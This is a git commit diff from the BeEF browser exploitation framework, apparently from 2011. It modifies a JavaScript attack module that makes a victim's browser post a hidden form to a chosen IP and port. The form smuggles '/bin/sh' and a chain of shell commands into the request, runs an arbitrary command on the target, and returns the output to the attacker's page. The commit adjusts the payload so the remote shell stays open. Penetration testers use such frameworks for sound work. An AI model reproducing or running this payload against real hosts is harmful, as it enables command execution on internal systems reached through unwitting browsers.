IPEC/POSIX - A little code cleanup to keep the shell alive

git-svn-id: https://beef.googlecode.com/svn/trunk@1347 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
buherator@gmail.com
2011-10-03 08:29:39 +00:00
parent 182e6256e8
commit 3aa5cba066

View File

@@ -31,7 +31,7 @@ beef.execute(function() {
// send a request
function send_cmds(ip, port, cmd, size) {
var action = "http://" + ip + ":" + port + "/index.html?&/bin/sh&&";
var action = "http://" + ip + ":" + port + "/index.html?&/bin/sh;";
var parent = window.location.href;
// create form
@@ -46,13 +46,13 @@ beef.execute(function() {
myExt = document.createElement("INPUT");
myExt.setAttribute("id",<%= @command_id %>);
myExt.setAttribute("name",<%= @command_id %>);
myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(34+cmd.length+52+parent.length+115+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \"<html><body><div id='ipc_content'>\";(" + cmd + ")|head -c "+size+" ; ");
myExt.setAttribute("value","echo -e HTTP/1.1 200 OK\\\\r;echo -e Content-Type: text/html\\\\r;echo -e Content-Length: "+(34+cmd.length+52+parent.length+110+size*1)+"\\\\r;echo -e Keep-Alive: timeout=5,max=100\\\\r;echo -e Connection: keep-alive\\\\r;echo -e \\\\r;echo \"<html><body><div id='ipc_content'>\";(" + cmd + ")|head -c "+size+" ; "); // TODO Calculate Content-Length without hardcoded sizes
myform.appendChild(myExt);
// Adding puffer space for the command result
end_talkback=" echo -e \"__END_OF_POSIX_IPC<%= @command_id %>__</div><s"+"cript>window.location='"+parent+"#ipc_result='+encodeURI(document.getElementById(\\\"ipc_content\\\").innerHTML);</"+"script></body></html>";
while(--size) end_talkback+=" ";
end_talkback+="\" \\\\r ; exit";
end_talkback+="\" \\\\r ;";
// post js to call home and close connection